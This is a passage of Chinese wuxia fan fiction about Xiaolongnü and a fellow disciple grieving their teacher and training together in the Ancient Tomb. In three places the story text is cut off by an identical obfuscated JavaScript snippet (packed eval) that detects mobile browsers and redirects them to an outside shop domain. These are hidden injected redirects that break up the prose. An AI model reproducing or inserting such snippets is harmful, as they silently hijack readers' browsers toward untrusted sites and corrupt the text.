从那日起,孙婆婆的药熬得更勤。古墓里终年冷清,却第一次有了浓重药气。药气苦,苦得小童子路过时都皱眉,可林朝英喝药时眉头也不动一下。 小龙女更沉默了。 她每日守在林朝英榻前,听师父交代门规、心法、石室机关、古墓各处暗道。她只有八岁,脸上却已经看不出多少孩童神色。孙婆婆有时看着她,嘴唇动了动,像想说“你还小”,最后又说不出口。 小童子站在一旁。 她想哭。 可她不哭出声。 她只把嘴唇咬得发白,眼泪蓄满眼眶,又一颗一颗往下掉。掉了便用袖子擦,擦不干净也不管。她再也不像小时候那样哇哇大哭,也不再扑到小龙女怀里喊痛。 因为这一次,没有地方痛。 又好像哪里都痛。 林朝英病逝那夜,把两个孩子都叫到榻前。 石室里灯火很暗。孙婆婆跪在一旁,眼圈通红,手中帕子几乎被绞碎。小龙女跪得笔直,面若冰霜,只有垂在膝上的手指微微发紧。小童子跪在她身边,眼泪已经流了满脸,却咬着牙,一声也不出。 林朝英先看向小龙女。 “龙儿。” 小龙女抬眼:“师父。” “从今日起,你为古墓派掌门。” 小龙女睫毛轻轻一颤。 林朝英道:“门规不可废,心法不可失。你性静,能守得住。” 小龙女低头叩首:“弟子领命。” 林朝英又看向小童子。 那一眼比往日温和许多,也疲倦许多。 “小童子。” 小童子立刻抬头:“师父。” 一开口,她才发现自己声音哑得厉害。 林朝英道:“古墓派如今只有你们两个了。” 小童子的眼泪猛地涌出来。 师父这句话,比任何剑锋都重。 李莫愁走了。 师父也要走了。 古墓派只剩她和小龙女。 林朝英缓了片刻,像在积攒力气。小童子想让她别说了,想说师父你先睡,明日再说。可她不敢。她只是膝行近了一点,攥住榻边的布。 林朝英道:“龙儿只有你了。” 小童子咬住唇。 林朝英继续道:“你反应快,心思活,天罗地网掌在你手里,能走出旁人没有的路。可你的短板是内力。若根基不厚,日后遇上强敌,你护不住自己,也护不住龙儿。” 小童子眼泪落在手背上。 林朝英道:“从今日起,你与龙儿同睡寒冰床。日夜运功,把内力补上。” 她停了停,声音低了些,却一字一字重得像刻进石壁里。 “你能答应师父么?” 小童子怔怔跪着。 若是从前,她一定会摇头。 她不睡寒冰床,是因为怕全心神运功睡觉,就分不出心神听师姐的脚步。怕师姐站在墓门前,她却不能去抱她。怕师姐看见她睡在寒冰床上,心里更不高兴。 可师姐已经走了。 睡不睡寒冰床,已经失去了原先的意义。 如今师父也要走了。 如果师父临终前最放心不下的,是小龙女,是她的内力,是这座古墓以后只剩下她们两个,那她便没有任何理由再拒绝。 小童子俯身,额头重重磕在地上。 “能!” 她哭着喊出来,声音终于破开了牙关。 “师父,我能!” 她又磕了一个头,额前很快红了一片。 “我和龙儿一起睡寒冰床。我好好练功。我不偷懒了。” 说到“不偷懒”时,她哭得更厉害,像是直到此刻才明白,往后再也不会有人因为她偷懒而用剑锋逼她、用掌心打她、冷着脸说她顽劣。 林朝英看着她,眼中极轻地掠过一点笑。 “好。” 那是她留给小童子的最后一句话。 天将明时,林朝英病逝。 当时石室里只有三个人守着。 孙婆婆哭喊得最大声。 她扑到榻前,哭得几乎背过气去,一声一声唤“姑娘”,声音撞在石壁上,又碎成许多回音。她照料林朝英许多年,早已不只是主仆。如今这一声声哭出来,像把多年没敢说出口的悲苦都哭尽。 小龙女站在榻前,面若冰霜。 她没有哭。 她只是看着林朝英,眼神冷得像寒冰床最深处的玉色。可她袖中的手攥得极紧,指甲几乎陷进掌心。 小童子跪在地上。 她安静地哭。 任由泪水从眼眶里流出来,顺着脸颊落到衣襟上。她不抬手擦,也不出声,只把牙关咬得死紧,咬到腮边都微微发颤。 悲伤像一场无声的大水。 她不喊。 只是让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750821|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 它流下去。 许久之后,小龙女转过头。 她先看了看小童子,又看了看孙婆婆。 然后,作为新任掌门,她开口道:“叩首。” 孙婆婆哭声一顿。 小童子抬起满是泪的脸,看向小龙女。 小龙女的脸色仍冷,声音也轻,却稳得出奇:“送师父。” 三人跪下。 小童子狠狠磕了几个头。 一下。 一下。 又一下。 额头撞在石板上,发出沉闷声响。她像是不知道疼,也像是觉得这样疼一点,心里那片空便能少一点。 磕完之后,她抬起袖子,狠狠抹了一把眼泪。 泪痕被她擦乱了,脸颊也擦红了。她却像忽然记起林朝英临终前的话,慢慢站起来,走到石棺旁。 小龙女已经站在那里。 两个八岁的孩子,一左一右,手按在冰冷沉重的石棺盖上。 孙婆婆在旁边哭得说不出话。 小童子看了小龙女一眼。 小龙女也看向她。 没有人说话。 下一刻,她们一起用力。 石棺盖缓缓合上。 沉重的摩擦声在墓室里响起,像一道门从此关上。 小童子咬紧牙关,眼泪又落下来。她没有再擦,只把掌心贴在石棺盖上,贴了很久很久。 小龙女站在她身边。 过了片刻,小龙女伸出手,像那日李莫愁离开时一样,去握小童子的手。 小童子的手还是攥得很紧。 小龙女一根一根掰开她的手指,把自己的手指放进去,与她十指紧扣。 这一次,小童子终于转过身,把额头抵在小龙女肩上。 她仍旧没有哭出声。 只是泪水很快濡湿了小龙女肩头的衣料。 小龙女没有动。 她只是握紧她的手。 从这一日开始,古墓派便只剩下她们两个了。 还有孙婆婆。 还有一张冷得透骨的寒冰床。 当夜,小童子抱着自己的枕头,跟着小龙女走进寒冰床所在的石室。 寒冰床依旧莹白,冷气无声地漫出来。小童子站在床前,看了它很久。 她曾为了不睡这张床,挨过打,挨过剑,挨过无数次训斥。 如今她终于要睡上去了。 却没有一点胜负可言。 小龙女先躺下,往旁边让出位置。 小童子慢慢爬上去。 寒意立刻从背脊透进来,她本能地一缩,又想起林朝英临终前那双眼睛,便咬着牙躺稳。 “龙儿。”她小声说。 “嗯。” “我答应师父了。” “嗯。” 小童子闭上眼,眼泪从眼角滑进鬓边。 “我会好好练功。” 小龙女在黑暗里伸出手,握住她。 “我也会。” 寒冰床很冷。 可两个孩子打横睡着,手指扣在一起,竟也像在这无边冷意里,守住了一点很小、很小的暖。 9. 山川 林朝英离去之后,古墓里的日子像被人削薄了一层。 从前也冷,也静,可那冷静里总还有许多声音。师父的剑锋掠过衣袖,师父淡淡一句“再来”,孙婆婆端药时压低的脚步,李莫愁从前留在石壁上的拂尘痕,都像细线一样,把日子一点一点缝在一起。 如今线断了许多。 小龙女和小童子越发沉默。 每日天未亮,她们便从寒冰床上醒来。醒来时,指尖是冷的,眉睫上仿佛也沾着一层看不见的霜。小龙女先下床,整理衣袖,束好发带。小童子也跟着起身,不再赖着,不再讨价还价。 她记得自己答应过师父。 起床,运功,练剑。 练完剑,便去玉女心经石室,对着满壁人物图一式一式拆解。小龙女走得稳,小童子走得活。她们谁也不多说话,只在剑锋交错时偶尔对视一眼,便知道下一招该怎么接。 午后用饭。 饭后看书。 夜里再回寒冰床,借寒玉之气练内功。 日复一日,像冷泉滴水。 孙婆婆看着她们,心里难受,却不知道如何劝。 她想说小孩子不该这么安静,想说姑娘若还在,也未必愿意看见你们这样。可话到嘴边,又觉得这话太轻,轻得碰不到她们心里的伤。 于是孙婆婆只能变着花样做吃的。 今日蒸一碟枣泥糕,明日煮一锅热汤面,后日又把山下买来的芝麻研碎,拌了蜜,裹进软糯的小团子里。古墓里不能大鱼大肉,她便把青菜切得细细的,用一点香油拌出味道;豆腐也不再总是清煮,而是煎得两面微黄,再浇上热汤。 小童子每次都会认真吃。 她吃得比从前慢,也不再一边吃一边问有没有肉。孙婆婆给她夹什么,她便吃什么。偶尔吃到甜的,眼睛会亮一下,随即又低下去。 小龙女吃得更少,却也会在孙婆婆看过来时,把碗里的东西一口一口吃完。 孙婆婆看着两只小碗见底,才稍微觉得心里好受些。 这一日,练完剑后,外头落了雨。 雨声隔着厚厚石壁传进来,只剩一点模糊的潮意。小龙女和小童子坐在灯下看书。长明灯火很稳,照着案上几册书卷,也照着旁边那只青漆小鸟。 那只小鸟是李莫愁当年带回来的。 小童子已经许久没有碰它。 她本来在翻一本《南越草木记》,翻着翻着,手指却停住了。她从书堆里抽出另一册,封面上写着四个字: 《九州山川志》。 她定定看了那封面很久。 久到小龙女也放下手中的书,转头看她。 小童子轻声道:“龙儿。” “嗯。” “你说,师姐走过了哪些山川,吃过哪些美食?” 石室里安静下来。 小龙女不知道该怎么答。 书里写过许多山川。北地有连绵雪岭,南边有烟雨江河,西去有高原古道,东边有海风潮声。书里也写过各地风物,稻米、鱼脍、糖糕、热酒、山果。若只问山川和美食,似乎有许多答案。 可小龙女知道,小童子问的不是这些。 她问的是李莫愁有没有冷,有没有饿,有没有受伤。 问的是她在外面有没有人陪。 问的是她还会不会想起古墓里,有两个师妹曾在灯下等她回来。 小龙女没有说“我不知道”。 她只是伸出手,轻轻抱住小童子。 小童子身子微微一顿。 小龙女靠近她,脸颊贴住她的脸颊,像从前小童子疼了、委屈了,扑过来贴着她喊痛那样。 小童子的眼眶一下红了。 可她很快回抱住小龙女,手臂绕过她的背,轻轻拍了拍。 “我没事。”她说。 她声音很低,却努力放得平稳:“别担心,我就是随口一说。” 小龙女没有拆穿她。 小童子也不想让小龙女担心。 她吸了吸鼻子,忽然把书往旁边一放,双手一收,竟一把将小龙女抱进自己怀里。 小龙女被她抱得微微一怔。 小童子比她活泼,也比她惯会赖人,可这般郑重地把她抱住,却并不多见。她把小龙女圈在怀里,背靠着石案边,故作轻快地说:“我抱你看书。” 小龙女抬眼看她。 小童子认真道:“就像以前师父抱着我们看书。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750822|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ” 这句话一出,两个人都静了。 小龙女想起很久以前。 那时她们还很小,字也认不全。林朝英偶尔会把书卷摊在膝上,让两个孩子一左一右靠着。小童子总坐不住,看到图便问这是什么,那是什么,问到林朝英嫌她聒噪,抬手轻轻敲她额头。小龙女便坐在另一侧,看小童子捂着额头还要问,心里觉得吵,却并不讨厌。 那样的日子并不多。 可一想起来,竟像灯火一样暖。 小龙女没有反对。 她安静地靠在小童子怀里,重新拿起《九州山川志》。 小童子把下巴轻轻搁在她肩边,也低头去看书页。 书上画着一条长河,从群山之间蜿蜒而出,穿过城池与渡口,一路向东。 小童子看着那条河,过了许久,轻声道:“师姐也许见过这样的河。” 小龙女道:“也许。” “也许吃过热汤面。” “嗯。” “也许还买过新的木头小兽。” 小龙女翻书的手顿了顿。 “也许。” 小童子没有再说话。 小龙女也没有。 两个人便这样靠在一起,安安静静地看着书。灯火照着她们的影子,落在石壁上,像两个挨得很近的小小人影。 孙婆婆端着热汤走到门外时,看见的便是这一幕。 她停了停,没有进去。 两个孩子一个抱着一个,一个靠着一个,书页在灯下缓缓翻过。她们脸上仍没有多少笑意,可那份冷清里,终于多了一点能让人站住脚的暖。 孙婆婆低头看了看碗里的汤。 汤还热着。 她便悄悄退回灶间,把火又添旺了些。 石室里,小童子低声念着书上的字。 她念得慢,有些字还要小龙女提醒。小龙女便一个字一个字告诉她,声音很轻。 雨声远远地落着。 寒冰床在另一间石室里静静等着夜晚。 而此刻,她们只是抱在一起,看一卷关于山川的书。 仿佛那些很远很远的路,也能从纸上慢慢流进古墓,陪她们度过这一日。 10. 松动 小龙女和小童子十四岁时,玉女心经已练到最后一层。 古墓深处那间石室,她们早已熟得不能再熟。 石壁上的人物图,天花板上的剑势,细小如蚁的字句,都像刻进了她们眼里。年幼时,小童子仰头看久了会脖子酸,会忍不住问那些人是不是在打架。如今她不必抬头,也知道哪一幅图该接哪一式,哪一句心法要落在哪一口气息里。 小龙女更冷了。 那冷不是拒人于千里之外的冷,而像寒冰床深处沉着的玉色,清而稳。她出剑时衣袖不扬,剑光却已到眼前;收剑时也无声,仿佛方才那一线寒芒只是灯火偶然一晃。 小童子却仍有几分旧日影子。 但她不再偷懒,也不再随便哭。天罗地网掌和玉女心经在她手中融在一起,招式比小龙女更活,常能从极险处生出一线变化。若说小龙女的剑像一脉静水,小童子的剑便像水下暗流,表面不动,转折处却叫人防不胜防。 这几年里,她在寒冰床上也下了真功夫。 从前小童子最怕寒冰床。夜里一躺上去,寒意便从背脊钻进骨头里,她总要皱着脸往小龙女身边挪,嘴里说着不冷,手却悄悄去碰小龙女的衣袖。那时她内力浅,寒玉之气压下来,像一块沉石压在胸口,呼吸都要慢慢学着放平。 后来她不躲了。 每日练完剑,她便自己去寒冰床上打坐。寒气一寸一寸渗进经脉,她便一寸一寸运功化开。起初只能守住丹田,后来能引气过肩背,再后来,连指尖最细微的一点凉意,也能被她收回来,化进周身内息里。 小龙女天资本就极高,内力又清又稳,幼年时便远远走在她前面。小童子从前追不上,也不大肯承认自己追不上,只把招式练得更活,仿佛变化多一些,便能遮过去。可寒冰床上不能遮掩,内力深浅一到夜里便清清楚楚。小龙女一口气能行三周天,她只能行一周半;小龙女气息沉在经脉里不散,她稍一分神便会浮上胸口。 她因此暗暗较劲。 不是和小龙女争输赢,而是不愿永远只被她牵着走。 小龙女也从不催她。小童子气息乱了,她便伸手按住她腕脉,将自己的内力缓缓渡过去,替她压住那一点浮躁;小童子一时急进,她便收剑停下,让她先把内息调顺。日复一日,两人白日对练剑法,夜里同修内功。小龙女的稳,磨去了小童子的躁;小童子的活,也让小龙女的内力多了几分转折变化。 她们的功力便这样相辅相成。 到了今年,小童子再与小龙女并肩运功时,已不再像幼时那样隔着遥远一段。小龙女仍在前面,可那距离不再像一道冰冷深涧,而像长长甬道尽头的一点灯火。小童子看得见,也追得上。偶尔两人掌心相接,她甚至能在小龙女收力之前,先一步察觉那股清冷内息的去向。 这让她心里生出一点很安静的欢喜。 她终于不是只靠招式取巧的小童子了。 玉女心经最后一层,与前面几重都不同。 前面几重尚可照着图谱,一招一式慢慢拆,一句心法一口气息慢慢合。到了最后,石壁上的字却说得极明白,衣物不可碍气,杂念不可碍心,二人须坦然相对,以彼此气息为镜,察自身经脉细微流转。 小童子第一次读到这里时,愣了一下。 她倒不是害羞。 古墓里从来没有男子,师父、孙婆婆、师姐、小龙女,都是女子。她自幼在这里长大,从未听过什么男女有别,也不曾觉得身体有什么不可直视。她和小龙女同吃同住,寒冰床上并肩睡过,泉边练功也常互相照看。年纪更小时,衣衫湿了,孙婆婆替这个换完,又替那个换,本就是寻常事。 因此小童子不觉得二人坦然相对有什么不妥。 她只是觉得,心法把这样一件寻常事写得如此郑重,反倒有些奇怪。 小龙女看完,只问:“练么?” 小童子几乎没有犹豫,立刻道:“当然练。” 于是她们依照图谱,在石室中熄去多余灯火,只留一盏长明灯。两人褪去外衣,盘膝相对而坐。石室里寒意很重,贴着肌肤时比穿衣练剑更清楚,也更不容人专注。最初小童子还觉得冷,肩背微微一紧,内息便跟着乱了半寸。 小龙女道:“你分心了。” 小童子闭着眼,不服气地吸了一口气:“我知道。” 可知道是一回事,做到又是另一回事。穿着衣衫练功时,衣物多少能挡住寒气,身体不必时时分神去应对外头的冷。如今没有那一层遮护,石室里的寒意从四面压来,肩背、手臂、腰腹、膝弯,无一处不被寒气贴住。小童子越想稳住内息,越容易先察觉到冷,心神一偏,气息便跟着浮起来。 小龙女比她静得多。 她坐在那里,肤色被灯火照得如冷玉一般,眉眼却没有一丝异样。坦然相对于她而言,本就如同并肩睡在寒冰床上、在泉边彼此照看一样自然。身体、经脉、气息、寒意、灯火,都只是练功的一部分。她不惧寒气,也不被外物牵动,很快便沉静在心法之中。她的呼吸很轻,也很稳,像寒冰床下那道终年不乱的冷泉。 小童子原本还有些绷着,听着她的呼吸,心也慢慢静下来。 等心神不再被寒意牵走,她才终于能把注意力一点一点收回自身。内力从丹田升起,经过肩井、曲池、膻中,再落回腰腹,每一处细小转折都比平日清楚。她忽然能分清一口气起时,是先浮上胸口,还是先沉入腰腹;也能分清自己每次急着出招时,内息究竟在哪一处先乱。 等她自己的气息渐渐分明,再去感受小龙女,心法里“以彼此为镜”的意思也慢慢清楚起来。 两人掌心相对,气息相接。 小童子的内力一向活泼,刚一渡出,便像急流撞石,想往外散。小龙女的内力却沉稳,轻轻一托,便把那股急意托住。小童子这才明白,原来所谓合练,并不是两个人把招式配得好看,也不是剑尖相交时恰好停在一寸之外,而是连对方内力里一丝一毫的偏移,都要能察觉。 她急,小龙女便稳。 小龙女过于收敛,她便引一引。 一夜又一夜,寒意贴着皮肤,内息行过经脉。她们渐渐不再需要睁眼,也能知道对方此刻气息走到哪里。小童子有时故意把内力藏在左臂,小龙女便从她肩头细微一颤里找到;小龙女有时把气息压得极低,小童子也能从掌心那一点冷意中把它引出来。 练到后来,小童子突然明悟,招式只是内力的影子。 影子可以快,可以巧,可以像天罗地网一样让人眼花缭乱。可若没有内力在里面撑着,再精妙的影子也只是影子。内力一乱,剑招便慢;内力一散,掌法便空;内力一断,再好看的变化都像纸上画出来的花,风一吹就没了。 等到两人终于能在闭目之间分清彼此内力的起落,玉女心经最后一层的心法,才算真正成了。 那不是石壁上某一句口诀忽然被参透,也不是哪一幅图谱终于练得像了,而是她们心里都明白,从此对方一口气将要往哪里去,自己便能先一步察觉。小童子内息将要左转,小龙女的气息便已在那里等着;小龙女气息将要下沉,小童子也能顺势收住自己的急意,不再莽撞冲过去。 心法既成,才轮到剑法。 她们重新取剑对练时,剑招便和从前不同了。从前虽也配合无间,到底还是小龙女出小龙女的剑,小童子变小童子的招,靠眼力、熟练和多年相伴去接住彼此。如今剑未动,内力先动;内力一动,对方的剑势便已在心中露出端倪。 小龙女腕间内息微微一沉,小童子便知道她下一剑不会直刺,而要从下方挑起。小童子肩头气息稍稍一散,小龙女便知道她看似退开,实则要借天罗地网掌的变化绕到侧面。两人不必多看,也不必多想,剑尖尚未相交,下一式已经接上。 这时她们才真正明白,所谓双剑合璧,并不是两柄剑同时出手。 而是两个人的心法、气息、剑意,在同一瞬间落到同一处。 两人合练时,连孙婆婆都看不明白。 只见石室里剑影一生一灭,像冷月将落入水中,又被另一道月光轻轻接住。招式看似缓,实则已换过数遍。到最后,两柄剑同时停下,剑尖相对,距离不过一寸。 小童子收剑,长长吐出一口气。 “最后一层,也不过如此。” 孙婆婆若在这里,定要说她口气大。 小龙女只看她一眼:“你方才慢了半息。” 小童子立刻皱眉:“哪里?” 小龙女抬手,替她把方才那一式重新走了一遍。她动作极慢,腕骨转折处清清楚楚。小童子看着看着,便低头笑了笑。 “知道了。” 她们又练了一遍。 这一遍,小童子没有慢。 练罢,二人坐在石室灯下休息。案上仍放着几册旧书,其中一本《九州山川志》已经被翻得边角发软。那书本是李莫愁许多年前从山下带回来的,如今纸页微黄,封面上的字却还清楚。 小童子把剑放在膝边,手指落在书脊上。 她看了许久,忽然道:“龙儿。” “嗯。” “我们练成了玉女心经。” 小龙女看向她。 小童子声音很轻:“可是我想不明白,师姐为什么那么想要这个剑法。想要到生那么大的气,想要到叛出师门。” 小龙女沉默片刻,摇了摇头。 她也不知道。 或者说,她知道的也不比小童子多。她只记得那日满地碎瓷,李莫愁眼中烧起来的怒意,和她转身离开时甬道里晃动的灯火。 小童子也沉默下来。 过了好一会儿,她又道:“我觉得玉女心经和美女拳、天罗地网掌也没有什么区别。” 这话若叫林朝英听见,或许会抬眼看她许久;若叫李莫愁听见,只怕立刻便要冷笑。 一个视玉女心经为古墓派至深心法,一个曾为此生了多年执念。可到了小童子口中,这门武功竟和美女拳、天罗地网掌也没有什么分别。 可小龙女没有笑,也没有反驳。 她心中隐隐也有这样的念头。 这些日子与小童子同修内力时,她曾有几次觉得,自己仿佛触到了一条从前没有想过的武学道路。那道路不在石壁图谱上,也不在某一招某一式里,而在气息流转之间,在两人内力相接又分开的细微处。只是那感觉太淡,像寒泉底下一线看不清的光,她还未能把它说成一句明白的话。 小童子认真道:“想要剑法、拳法、掌法厉害,都要辅以厉害的内力。招式再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750823|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 眼花缭乱,没有内力,都是花拳绣腿,中看不中用。” 这句话说出来,小龙女心中那一线模糊的光,忽然清楚了许多。 原来如此。 这些日子她隐约摸到的东西,并不在玉女心经这一门剑法里,也不在美女拳或天罗地网掌某一式变化中。招式有名,心法有谱,可真正托住一切的,是内力。内力深厚,平平一剑也有去处;内力不足,再精妙的变化也只在外面打转。 “师父不给师姐练玉女心经,那我们给师姐寒冰床。”小童子说到这里,眼睛慢慢亮了一下。 小龙女微微抬眼。 她原本还想顺着那一点明悟继续想下去,可小童子提到李莫愁,她心神便从武学上收了回来。 小童子越想越觉得有理:“内力厉害了,就算师姐不会玉女心经,也能打得过我们。她那时候是不是就不生气了?” 她转头看小龙女,语气里竟有一点旧日孩子般的急切。 “你说,她会信我吗?会听我的话,然后回来和我们一起生活吗?” 小龙女没有顺着她的话说。 她只是安静地看着小童子。 许久,她问:“如果她不听,不信,不回。你待怎么办?” 小童子怔住。 这个问题,她从来没有想过。 这些年里,她想过许多次李莫愁回来。 想过师姐站在墓门前,还是那副凶巴巴的样子,哼一声说“我才不是回来”。想过她把寒冰床让出来,说你练,你练了就不会输。想过师姐起初不信,后来信了,最后还是留在古墓里。想过孙婆婆偷偷多做一碗热汤,想过小龙女把书放在案上,想过自己终于不用再望着甬道发呆。 可她没有想过,若李莫愁不听呢? 若她不信呢? 若她根本不想回来呢? 石室里的灯火轻轻跳了一下。 小童子低头看着《九州山川志》。 师姐已经离开那么久了。 书里写的外面那么大。有雪山,有长河,有古道,有城池。山外有热汤面,有糖糕,有卖木兽的摊子,有许多人说话笑闹,有她们从未见过的风和灯。 李莫愁也许真的走过那些地方。 也许吃过许多美食。 也许已经看过许多古墓里没有的东西。 那她还愿意回来古墓,终日不出门么? 小童子第一次这样认真地想这个问题。 不是用八岁时那种“师姐只是生气”的想法,也不是用五岁时那种“只要抱住她的腿,她就不会走”的笨办法。 而是认真地想。 或许师姐离开,并不只是因为玉女心经。 或许也不只是因为寒冰床,不只是因为师父偏心,不只是因为那一日满地碎瓷和一句“心性不合”。 或许还有别的。 别的她当初年纪小不懂,如今没人教,也仍然不懂的事情。 小童子想了很久。 久到小龙女以为她不会再说话。 最后,她轻轻叹了一口气。 那口气很长,也很沉。 “或许,”小童子慢慢道,“我要去接受师姐再也不会回来的事实了。” 小龙女听懂了那声叹息。 她听懂那里面有多少年没有放下的等候,有多少次经过墓门时下意识慢下来的脚步,有多少个夜里,小童子在寒冰床上忽然睁眼,像是听见了什么,最后又发现只是冷泉滴水。 她也听懂了,压在小童子心里的那块石头,终于开始松动。 松动不是消失。 只是它不再牢牢堵在胸口,让人一呼吸便疼。 小龙女伸手,轻轻抱住小童子。 她们已经不再是八岁的孩子。 可这个动作却和从前一样。小龙女靠近她,用脸颊贴住她的脸颊,又轻轻蹭了蹭。她仍旧不擅长说安慰的话,便只用小童子教会她的方式安慰她。 小童子也伸手抱住她。 她把头靠在小龙女肩上,双眼有些失神。 石室里满壁人物图无声地看着她们。 案上的《九州山川志》摊开着,书页上画着一条通往远方的山道。山道尽头并没有画人,也没有写归期。 小童子看着那页图,忽然很轻地说:“我以前总以为,她只是迷路了。” 小龙女没有说话。 “只要我站在原地,她总会找回来。” 小龙女抱紧了她一点。 小童子闭了闭眼。 “可是也许,她不是迷路。” 她只是选择了外面。 这句话小童子没有说出口。 有些话,说出来太疼。她还需要一点时间,才能把它们从心里拿出来,放到灯下看清楚。 小龙女也没有逼她。 她只是抱着她,像很多年前在石室里看书时那样,安静地让她靠着。 有些东西松动了。 也还是需要时间去处理。 灯火很稳。 寒冰床在另一间石室里等着夜晚。 而这一刻,小童子没有急着去追任何人的背影。 她只是靠在小龙女肩上,慢慢学着承认,有些人走出古墓,便未必会再回头。 11. 掌心剑 又过两年,小龙女和小童子十六岁了。 十六岁的身体,像终南山春日里悄悄抽长的枝。昨日还觉得合身的衣袖,隔一阵便短了一截;从前能轻轻松松打横睡下的寒冰床,如今再容不下她们横着并肩,只能顺着床身竖躺。两人一躺上去,肩与肩几乎相抵,中间再空不出一处位置,那方寒玉刚刚好容下两人。 孙婆婆为此忙坏了。 她隔三差五便要给两个孩子量身,改衣,放袖,接边。古墓中钱财颇丰,林朝英当年留下的金银珠玉足够她们一世不愁,布匹自然也不缺。否则单凭这几年换下来的衣衫,孙婆婆觉得自己迟早要在针线灯下把眼睛缝瞎。 小龙女的衣服最好办。 她仍旧爱素白,式样也不挑。于她而言,衣服只是覆身之物,白也好,素也好,宽一些窄一些,只要不碍行功,不扰心神,便都一样。 孙婆婆问她袖口要宽些还是窄些,她只说“都可”。可衣服改好后,她总会在石室里试一遍剑。若袖口拂到腕骨,或衣摆压住步法,她便停下来,淡淡道:“这里碍手。” 孙婆婆便替她再收半寸。 衣襟、袖口、腰身照旧收得妥帖,穿在她身上,便还是那副清冷模样。她走路轻,练剑稳,衣袂垂下来,像冷泉上覆着的一层薄雾。 小童子却不同。 她是从练玉女心经最后一重以后,开始琢磨衣服的。 玉女心经最后一重,本就是褪去衣物、以身心相照而成。那时修炼只剩气息、经脉、剑意与彼此,反而最为自然。 等重新穿上厚厚叠叠的衣衫,小童子便总觉得别扭,仿佛身上多了许多无用的牵绊。起初只是嫌袖子碍事,练剑时袖口一荡,剑势便慢半分;后来又嫌衣摆太长,转身时扫到脚边;再后来,她连衣领、束带、外袍都嫌麻烦,觉得凡是不能帮她出剑、运功、转身的东西,统统多余。 于是她自己改。 宽袖裁窄,长摆截短,外袍去掉,只留下便于束身和转腕的短衣。腰间不用繁复绦带,只以一条素色细带扣住。衣料仍旧轻薄,却被她改得利落贴身,肩背处便于伸展,膝侧也不妨碍起落。 孙婆婆第一次看见时,张了张嘴。 小童子站在石室里,低头整理自己新改的衣袖,抬眼问:“婆婆,不好看?” 孙婆婆看着她。 十六岁的眉眼已经长开,可她穿着那身利落短衣,发束得高,走路又惯常不拘小节,步子一迈便带几分少年郎的洒脱。若不细看,倒像个清俊郎君多过姑娘。 孙婆婆想说几句。 可话到嘴边,又咽了回去。 小童子又不出古墓。 她爱怎么穿,又有什么要紧呢? 何况当年姑娘给她取名“小童子”,本就不拘男女。如今连衣裳也跟着不分男女,想来倒也像一桩缘分。 孙婆婆最后只叹道:“别冻着。” 小童子立刻笑起来:“不会,我会运功。” 小龙女在一旁看她。 小童子转了一圈:“龙儿,如何?” 她看的是小童子肩背转动、腕骨起落、衣摆停处。 小龙女道:“出剑顺些。” 小童子便满意了。 小龙女又看了她一眼。 “也像你。”她道。 小童子满意的,原也不是这身衣服有多好看。 少一分牵绊,出剑便顺一分;少一分累赘,运功也顺一分。她这两年越练越觉得,衣袖、剑招、步法都只是外头的东西,真正托住一切的,仍是体内那口气。 两年前,她曾说内力最重要。那时这句话多少带着点赌气,如今却慢慢沉成了实在的道理。招式再妙,若无内力为根,不过是枝叶摇曳;内力若深,一掌一指皆可成剑。 自那以后,除了运功练剑,她便常与小龙女一起琢磨内力。 白日里,她们拆玉女心经,拆天罗地网掌,也拆美女拳中看似轻巧的巧劲。夜里躺到寒冰床上,便牵着手,以寒玉之气定住心神,试着把内力从掌心渡过去。 起初很难。 内力本在自己经脉中运行,一旦要渡给旁人,便像冷泉忽然改道,稍有不慎便会反冲自身。小童子性子活,内息也活,常常一推便推过了头。小龙女内息稳,便一点一点接住,再轻轻推回去。 她们就在寒冰床上这样练。 一夜又一夜。 两只手握在一起,掌心贴着掌心。她们闭着眼,感受自己的内力,也感受对方的内力。小童子的内力像暗流,起伏快,转得急;小龙女的内力像深潭,静而不散,凉意沉沉。 推,接。 退,让。 一进一守,一放一收。 练了万千次后,有一夜,两人几乎同时睁开眼。 那一瞬,她们都感觉到掌心之间有一线极细的锋芒凝住了。 不是剑。 却像剑。 小童子眼睛亮了。 “龙儿。” 小龙女也看着两人交握的手:“嗯。” 她们没有松开。 那一线内力在掌心间慢慢成形,细而利,凝而不散。小童子试着将它往前推,小龙女便以自己的内力挡住。两股内息在掌心相触,竟像两柄无形小剑,在极近处轻轻一碰。 小童子呼吸一滞。 “再来。” 小龙女没有反对。 于是她们就在寒冰床上,以掌心为界,练起这无形的剑。 起初只是轻轻相抵。 后来便有了招式。 小童子将天罗地网掌的变化揉进去,掌心那线内力忽左忽右,像要绕过小龙女的防守。小龙女则以玉女心经的清静守住中线,来势再乱,她也只以最少的力化去。 她没有一味退让。 